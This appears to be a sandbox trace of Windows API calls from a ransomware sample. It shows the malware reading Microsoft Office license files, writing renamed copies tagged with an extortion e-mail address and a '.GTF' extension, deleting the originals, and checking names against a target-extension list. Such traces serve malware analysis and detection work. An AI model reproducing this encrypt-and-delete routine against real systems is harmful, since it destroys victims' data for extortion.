	[0170.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1
	[0171.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.401] lstrlenW (lpString=".doc") returned 4
	[0171.401] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString=".docx") returned 5
	[0171.401] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.401] lstrlenW (lpString=".pdf") returned 4
	[0171.401] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString=".xls") returned 4
	[0171.401] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString=".xlsx") returned 5
	[0171.401] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.401] lstrlenW (lpString=".ppt") returned 4
	[0171.401] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.401] lstrlenW (lpString=".zip") returned 4
	[0171.401] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString=".rar") returned 4
	[0171.401] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString=".bz2") returned 4
	[0171.401] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString=".7z") returned 3
	[0171.401] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.401] lstrlenW (lpString=".dbf") returned 4
	[0171.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.401] lstrlenW (lpString=".1cd") returned 4
	[0171.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.401] lstrlenW (lpString=".jpg") returned 4
	[0171.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.402] lstrlenW (lpString=".doc") returned 4
	[0171.402] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString=".docx") returned 5
	[0171.402] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.402] lstrlenW (lpString=".pdf") returned 4
	[0171.402] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString=".xls") returned 4
	[0171.402] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString=".xlsx") returned 5
	[0171.402] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.402] lstrlenW (lpString=".ppt") returned 4
	[0171.402] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.402] lstrlenW (lpString=".zip") returned 4
	[0171.402] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString=".rar") returned 4
	[0171.402] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString=".bz2") returned 4
	[0171.402] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString=".7z") returned 3
	[0171.402] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.402] lstrlenW (lpString=".dbf") returned 4
	[0171.402] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.402] lstrlenW (lpString=".1cd") returned 4
	[0171.402] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0171.402] lstrlenW (lpString=".jpg") returned 4
	[0171.403] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.403] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.403] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
	[0171.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0171.841] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11674) returned 1
	[0171.841] CloseHandle (hObject=0x574) returned 1
	[0171.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0172.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.139] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.139] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.140] GetLastError () returned 0x0
	[0172.140] ReadFile (in: hFile=0x530, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0172.142] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0172.143] ReadFile (in: hFile=0x530, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.143] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x130, lpOverlapped=0x0) returned 1
	[0172.144] SetEndOfFile (hFile=0x45c) returned 1
	[0172.147] CloseHandle (hObject=0x45c) returned 1
	[0172.147] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.147] SetEndOfFile (hFile=0x530) returned 1
	[0172.150] CloseHandle (hObject=0x530) returned 1
	[0172.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0172.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.152] lstrlenW (lpString=".doc") returned 4
	[0172.152] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString=".docx") returned 5
	[0172.152] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.152] lstrlenW (lpString=".pdf") returned 4
	[0172.152] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString=".xls") returned 4
	[0172.152] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString=".xlsx") returned 5
	[0172.152] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.152] lstrlenW (lpString=".ppt") returned 4
	[0172.152] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.152] lstrlenW (lpString=".zip") returned 4
	[0172.152] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString=".rar") returned 4
	[0172.152] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString=".bz2") returned 4
	[0172.152] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.152] lstrlenW (lpString=".7z") returned 3
	[0172.152] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.152] lstrlenW (lpString=".dbf") returned 4
	[0172.152] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.153] lstrlenW (lpString=".1cd") returned 4
	[0172.153] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.153] lstrlenW (lpString=".jpg") returned 4
	[0172.153] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.153] lstrlenW (lpString=".doc") returned 4
	[0172.153] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".docx") returned 5
	[0172.153] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.153] lstrlenW (lpString=".pdf") returned 4
	[0172.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".xls") returned 4
	[0172.153] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".xlsx") returned 5
	[0172.153] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.153] lstrlenW (lpString=".ppt") returned 4
	[0172.153] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.153] lstrlenW (lpString=".zip") returned 4
	[0172.153] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".rar") returned 4
	[0172.153] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".bz2") returned 4
	[0172.153] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".7z") returned 3
	[0172.153] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.153] lstrlenW (lpString=".dbf") returned 4
	[0172.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.154] lstrlenW (lpString=".1cd") returned 4
	[0172.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0172.154] lstrlenW (lpString=".jpg") returned 4
	[0172.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.154] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.154] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32
	[0172.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.155] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10663) returned 1
	[0172.155] CloseHandle (hObject=0x530) returned 1
	[0172.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0172.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.155] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.155] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.156] GetLastError () returned 0x0
	[0172.156] ReadFile (in: hFile=0x530, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x29a7, lpOverlapped=0x0) returned 1
	[0172.158] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0172.159] ReadFile (in: hFile=0x530, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.159] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0172.159] SetEndOfFile (hFile=0x45c) returned 1
	[0172.160] CloseHandle (hObject=0x45c) returned 1
	[0172.160] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.160] SetEndOfFile (hFile=0x530) returned 1
	[0172.164] CloseHandle (hObject=0x530) returned 1
	[0172.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.166] lstrlenW (lpString=".doc") returned 4
	[0172.166] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString=".docx") returned 5
	[0172.166] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.166] lstrlenW (lpString=".pdf") returned 4
	[0172.166] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString=".xls") returned 4
	[0172.166] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString=".xlsx") returned 5
	[0172.166] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.166] lstrlenW (lpString=".ppt") returned 4
	[0172.166] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.166] lstrlenW (lpString=".zip") returned 4
	[0172.166] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString=".rar") returned 4
	[0172.166] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString=".bz2") returned 4
	[0172.166] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString=".7z") returned 3
	[0172.166] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.166] lstrlenW (lpString=".dbf") returned 4
	[0172.166] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.166] lstrlenW (lpString=".1cd") returned 4
	[0172.166] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.166] lstrlenW (lpString=".jpg") returned 4
	[0172.166] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.167] lstrlenW (lpString=".doc") returned 4
	[0172.167] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString=".docx") returned 5
	[0172.167] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.167] lstrlenW (lpString=".pdf") returned 4
	[0172.167] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString=".xls") returned 4
	[0172.167] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString=".xlsx") returned 5
	[0172.167] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.167] lstrlenW (lpString=".ppt") returned 4
	[0172.167] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.167] lstrlenW (lpString=".zip") returned 4
	[0172.167] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString=".rar") returned 4
	[0172.167] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString=".bz2") returned 4
	[0172.167] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString=".7z") returned 3
	[0172.167] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.167] lstrlenW (lpString=".dbf") returned 4
	[0172.167] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.167] lstrlenW (lpString=".1cd") returned 4
	[0172.167] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82
	[0172.167] lstrlenW (lpString=".jpg") returned 4
	[0172.167] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.168] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.168] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33
	[0172.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.168] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22093) returned 1
	[0172.168] CloseHandle (hObject=0x530) returned 1
	[0172.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0172.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.169] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.169] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
